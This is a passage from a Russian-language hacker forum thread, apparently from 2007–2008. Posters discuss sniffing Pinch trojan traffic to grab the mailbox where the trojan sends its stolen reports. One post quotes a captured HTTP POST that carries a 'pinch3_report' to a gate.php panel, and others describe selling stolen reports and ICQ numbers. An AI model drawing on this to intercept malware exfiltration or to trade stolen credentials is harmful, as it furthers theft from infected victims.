14.07.2007, 19:31
|
|
Новичок
Регистрация: 07.05.2007
Сообщений: 6
С нами:
10006390
Репутация:
0
|
|
мне статья понравилась , молодец, что не поленился , снял видео и расталковал всё.
|
|
|
16.08.2007, 17:00
|
|
Познающий
Регистрация: 15.06.2007
Сообщений: 91
С нами:
9951302
Репутация:
38
|
|
прет!
а что если трой отсылает рапорты по www протоколу в base64, знаю....можно и расшифровать, но как то не получается, там по любому какието непонятные знаки стоят 
код таков:
Код:
POST /<directory>/gate.php HTTP/1.0
Host: blah.blah.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 2384
a=<cool hatsker>@mail.ru&b=pinch3_report&d=report.bin&c=Qk02IK0PAABB....
ну и так далее, че тут можна сделать? |
|
|
|
16.08.2007, 17:20
|
|
Постоянный
Регистрация: 23.02.2007
Сообщений: 329
С нами:
10111582
Репутация:
387
|
|
ниче
|
|
|
|
23.08.2007, 18:23
|
|
Новичок
Регистрация: 30.06.2007
Сообщений: 10
С нами:
9929885
Репутация:
0
|
|
Сообщение от tcl
какая выгода?  Простое удовлетворения от того, что какой-то добоёб потеряет своего понча. выгода- отчеты
|
|
|
|
23.08.2007, 22:23
|
|
Участник форума
Регистрация: 24.06.2007
Сообщений: 299
С нами:
9937288
Репутация:
212
|
|
прет!
а что если трой отсылает рапорты по www протоколу в base64, знаю....можно и расшифровать, но как то не получается, там по любому какието непонятные знаки стоят
Там и расшифровывать бэйс нечего - всё что ты получил бы при удачной расшифровке - данные о себе и своей машине...
выгода - да, супер выгода. отнять чужое мыло с отчетами понча. потом продавать девятизнаки и красивые мыла за 0.01 wmr
Знаешь, я пару лет тому назад, в течении дней двух-трёх, активно дизассемблил пинч, но таким редкостным гемороем не занимался, конечно изредка лениво просматривал отчёты на наличие того, чтобы меня могло нереально удивить, но в конце концов продавал отчёты в чистом виде. Для того кто уже чего то достиг и что то умеет 10 баксов - копейки, а для нормальных, начинающих пацанов то, что надо для старта! 
|
|
|
|
17.10.2007, 19:37
|
|
Новичок
Регистрация: 07.10.2007
Сообщений: 4
С нами:
9786315
Репутация:
0
|
|
Доброго времени суток Сделал вроде всё как написано, но не получается ничего выцепить из пакетов вот списочек пакетов, которые посылаются/принимаются после запуска трояна http://slil.ru/24991766 но ничего похожего на логин или пароль я не нашёл там... |
|
|
|
18.10.2007, 20:20
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
А У тебя фамилия не Агафонов?
|
|
|
|
08.06.2008, 23:34
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
С нами:
9454639
Репутация:
416
|
|
|
|
|
|
08.12.2008, 01:38
|
|
Участник форума
Регистрация: 25.05.2008
Сообщений: 201
С нами:
9453915
Репутация:
296
|
|
Последний раз редактировалось DIMON4G; 08.12.2008 в 08:37..
|
|
|
|
08.12.2008, 15:22
|
|
Постоянный
Регистрация: 20.12.2007
Сообщений: 577
С нами:
9679729
Репутация:
171
|
|
Сообщение от DIMON4G
а чё эт за ошибка в проге? ппц. написано-же было, что винПкап нужен =\
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
, поставил се это 
Похожие темы
Линейный вид
